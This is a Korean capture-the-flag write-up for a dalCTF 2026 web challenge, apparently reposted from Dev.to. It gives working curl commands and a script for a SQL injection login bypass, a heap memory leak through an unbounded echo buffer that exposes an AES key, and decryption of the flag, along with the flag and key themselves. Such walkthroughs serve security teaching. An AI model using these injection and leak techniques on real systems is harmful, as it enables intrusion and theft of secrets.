하트 파트 7 - dalCTF 2026
출처: Dev.to

카테고리: 웹
플래그: dalctf{p1mp_p1mp_h00r4y}
개요
Kendrick Lamar의 m.A.A.d city / Kung Fu Kenny 이야기를 테마로 한 다단계 웹 챌린지입니다. 공격 흐름은 다음과 같습니다.
- SQL 인젝션을 이용해 인증을 우회하고 관리자 JWT 획득
- 무제한 echo 버퍼를 이용한 힙 메모리 누출로 AES‑256 키 확보
- 누출된 키와 API 응답에 별도로 포함된 IV 필드를 사용해 플래그를 가져와 복호화
1단계 – SQL 인젝션 → 관리자 세션
/login 엔드포인트가 고전적인 SQL 인젝션에 취약했습니다. -- - 로 비밀번호 검사를 주석 처리하면 인증을 완전히 우회하고 유효한 JWT 세션 쿠키와 함께 /admin 으로 리다이렉트됩니다.
curl -X POST https:///login \
-d "username=admin'-- -&password=x"
응답:
HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q
디코드된 JWT 페이로드:
{"username": "admin", "role": "admin"}
JWT는 정적·취약한 시크릿으로 서명되었으며 챌린지 전체 동안 유효했습니다.
2단계 – Cipher Health 엔드포인트를 통한 힙 메모리 누출
관리자 패널에 /cipher/health 엔드포인트가 노출되어 있었으며, 사용자가 제어하는 버퍼를 size 바이트만큼 패딩해서 그대로 반환했습니다. size 를 크게 잡고 1 바이트만 전송하면 서버가 남은 공간을 인접 힙 메모리로 채우게 되며, 이 과정에서 AES‑256 키가 누출됩니다.
curl -X POST https:///cipher/health \
-H "Content-Type: application/json" \
-b "session=" \
-d '{"data": "A", "size": 100}'
응답 (echo 필드, base64 디코드 후):
A[63 null bytes]KENDRICK_MASTER_KEY=
키 추출 스크립트:
curl -s -X POST https:///cipher/health \
-H "Content-Type: application/json" \
-b "session=" \
-d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"
누출된 키:
9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
변수명 KENDRICK_MASTER_KEY 와 서비스명 MAadCipher 모두 챌린지 전반에 깔린 Kendrick Lamar 테마에 대한 힌트입니다.
3단계 – 암호화된 플래그 가져오기
/api/flag 엔드포인트는 JSON 객체를 반환합니다. 초기 실수는 ciphertext 필드만 추출한 것이었으며, 실제 IV는 응답에 별도 필드 로 존재했습니다.
curl -s https:///api/flag \
-b "session="
전체 응답:
{
"algorithm": "AES-256-CBC",
"ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
"iv": "fcSvIZ1LMw72z34mvr0O5A==",
"sealed_by": "MAadCipher v1.0",
"status": "ok"
}
함정: ciphertext 블록의 앞 16 바이트를 IV 로 착각하고 복호화하면 두 번째 AES 블록만 복원돼 _h00r4y} 라는 플래그의 꼬리만 얻을 수 있습니다. 올바른 IV는 항상 "iv" 필드에 있었습니다.
4단계 – 플래그 복호화
누출된 키와 올바른 IV 를 이용해 표준 AES‑256‑CBC 복호화를 수행하면 플래그를 얻을 수 있습니다.
python3 - <<'EOF'
from base64 import b64decode
import subprocess
KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")
result = subprocess.run(
["openssl", "enc", "-d", "-aes-256-cbc",
"-K", KEY, "-iv", iv.hex(), "-nosalt"],
input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF
출력:
FLAG: dalctf{p1mp_p1mp_h00r4y}
공격 흐름 요약
Login 페이지
└─ SQL 인젝션 (admin'-- -)
└─ 관리자 JWT 세션
└─ /cipher/health 힙 누출
└─ KENDRICK_MASTER_KEY (AES‑256 키)
└─ /api/flag → ciphertext + iv
└─ AES‑256‑CBC 복호화
└─ dalctf{p1mp_p1mp_h00r4y}
주요 교훈
- API 응답을 전체적으로 읽어라. IV 가 JSON 안에 있었음에도
ciphertext만 추출하면 “누락된 블록” 함정에 빠집니다. - 무제한 echo 버퍼는 힙 메모리를 누출한다.
size파라미터에 상한이 없어 헬스 체크가 임의 힙 읽기(CWE‑126)로 전락했습니다. - 테마 ≠ 플래그 값 힌트. Kendrick / M.A.A.D / PIMP 테마는 분위기일 뿐, 실제 플래그는 올바른 암호화 복호화 과정을 통해 얻어야 합니다.
